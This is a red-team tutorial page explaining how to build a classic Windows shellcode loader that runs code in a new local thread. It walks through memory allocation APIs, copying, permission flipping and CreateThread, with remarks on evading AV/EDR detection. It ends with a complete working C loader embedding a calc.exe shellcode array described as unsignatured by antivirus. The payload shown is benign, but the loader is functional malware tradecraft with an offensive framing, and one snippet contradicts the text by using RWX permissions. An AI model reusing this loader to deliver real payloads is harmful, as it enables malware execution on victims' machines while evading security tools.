Create Local Thread
Code execution using new local thread
Intro
Probably the oldest code execution technique out there and pretty much straightforward. in this technique, the shellcode is stored inside the loader itself. we will combine this technique with some other evasion tricks in future posts.
this technique can be implemented with multiple APIs, for the sake of simplicity i will combine all these different implementations into a single C file in one VS project.
Execution Flow:
Allocate memory (heap or stack) for shellcode storage (read/write permissions)
Copy the shellcode into allocated memory
Change memory permission to RX (read/execute)
Create a local thread and pass the shellcode memory address as a parameter
We can do this in 3 steps by setting the initial memory permissions to RWX (read/write/execute) so that we don't have to flip the permissions later, but since RWX memory permission is not very common in benign applications, AV/EDR products will quickly flag our loader.
1. Memory Allocation
Windows offers a few APIs for memory allocation in both heap and stack. in classic shellcode execution, we can either use both Win32 API and CRT functions or rely completely in Win32 API.
VirtualAlloc
This is the first and most used API function for memory allocation, it is also the most hooked API by EDRs :)
VirtualAlloc
takes the following parameters:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress, // starting address for memory allocation (set to 0, we don't care about this for now)
[in] SIZE_T dwSize, // size of memory to allocate (set to size of shellcode)
[in] DWORD flAllocationType, // type of allocation (usually set to MEM_COMMIT)
[in] DWORD flProtect // memory permissions (better set to PAGE_READWRITE or 0x04 and changed later)
);
To see other memory permissions offered by VirtualAlloc
, check out the MSDN documentation:
Example:
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);
GlobalAlloc
GlobalAlloc
is an older API for memory allocation, often used in Windows 16-bit applications. It allocates memory in the global heap.
GlobalAlloc
takes the following parameters:
DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
[in] UINT uFlags, // memory allocation attributes (default is GMEM_MOVEABLE, returns a pointer)
[in] SIZE_T dwBytes // number of bytes to allocate (set to size of shellcode)
);
Example:
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(shellcode));
void* exec_mem = GlobalLock(hGlobal);
LocalAlloc
LocalAlloc
is similar to GlobalAlloc
but it allocates memory from the local heap. This function was often used in older Windows programs.
LocalAlloc
takes the following parameters:
DECLSPEC_ALLOCATOR HLOCAL LocalAlloc(
[in] UINT uFlags, // allocation attribute (set to LMEM_ZEROINIT for initializes memory contents to zero.)
[in] SIZE_T uBytes // number of bytes to allocate (set to size of shellcode)
);
Example:
HLOCAL hLocal = LocalAlloc(LMEM_ZEROINIT, sizeof(shellcode));
void* exec_mem = (void*)hLocal;
HeapAlloc
This API allocates memory from a heap (local or global). It can be useful for scenarios where you want to use a managed memory space or in scenarios where the shellcode is too large to store in stack. its also suitable for stagers that want to retrieve the shellcode from a remote location, for example a server over the Internet.
HeapAlloc
takes the following parameters:
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
[in] HANDLE hHeap, // handle to local or global process heap : HANDLE hHeap = GetProcessHeap();
[in] DWORD dwFlags, // allocation option (set to HEAP_ZERO_MEMORY to zero out)
[in] SIZE_T dwBytes // number of bytes to allocate (set to size of shellcode)
);
Example:
void* exec_mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(shellcode));
2. Copy Shellcode to Memory
We can use one of following APIs to copy the shellcode into allocated memory:
memcpy (CRT)
Example:
memcpy(exec_mem, shellcode, sizeof(shellcode));
RtlMoveMemory (Win API)
Example:
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
3. Change Memory Permissions
After copying the shellcode, we have to change the memory permissions from RW to RX and make that region executable .
VirtualProtect
It changes the memory permission of a region in current process context.
VirtualProtect
takes the following parameters:
BOOL VirtualProtect(
[in] LPVOID lpAddress, // start address of target memory region (set to the pointer to allocated memory )
[in] SIZE_T dwSize, // size of target memory region (size of shellcode)
[in] DWORD flNewProtect, // new memory permissions (set to AGE_EXECUTE_READ)
[out] PDWORD lpflOldProtect // pointer to old memory protection (a DWORD for holding the old permissions)
);
Example:
DWORD oldProtect;
VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
4. Creating a New Thread
Last Step is to create a new thread and pass the executable memory region address to it.
CreateThread
Creates a thread in local process.
CreateThread
takes the following parameters:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // handle inheritence by child (set to 0 for now)
[in] SIZE_T dwStackSize, // initial stack size (set to 0 by deafult)
[in] LPTHREAD_START_ROUTINE lpStartAddress, // pointer to function to be executed (we are using the memory address pointer here)
[in, optional] __drv_aliasesMem LPVOID lpParameter, // pointer to function parameters to pass (we dont have any so set to 0)
[in] DWORD dwCreationFlags, // thread creation flag (set to 0 so that it the thread runs immediately after creation.)
[out, optional] LPDWORD lpThreadId // pointer that holds a handle to the thread
);
Example:
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
The final code for classic vanilla shellcode loader looks like this:
#include <Windows.h>
#include <stdio.h>
// benign calc.exe shellcode array (not signatured by AV/EDR)
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
0x99, 0xFF, 0xD7 };
int main() {
// Get handle to the default process heap
HANDLE hHeap = GetProcessHeap();
// VirtualAlloc memory allocation
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);
// LocalAlloc memory allocation
//HLOCAL hLocal = LocalAlloc(LMEM_ZEROINIT, sizeof(shellcode));
//void* exec_mem = (void*)hLocal;
// HeapAlloc memory allocation
//void* exec_mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(shellcode));
// Allocate global memory with execute permissions
//HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(shellcode));
//void* exec_mem = GlobalLock(hGlobal);
// copy shellcode using CRT
memcpy(exec_mem, shellcode, sizeof(shellcode));
// copy shellcode using Win API
//RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
// flip memory permissions to RX
DWORD oldProtect;
VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);
// Execute the shellcode in a new local thread
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
// wait for thread to finish (infinite wait)
WaitForSingleObject(th, -1);
return 0;
}
Code Samples
Code snippets are available on GitHub:
Last updated
Was this helpful?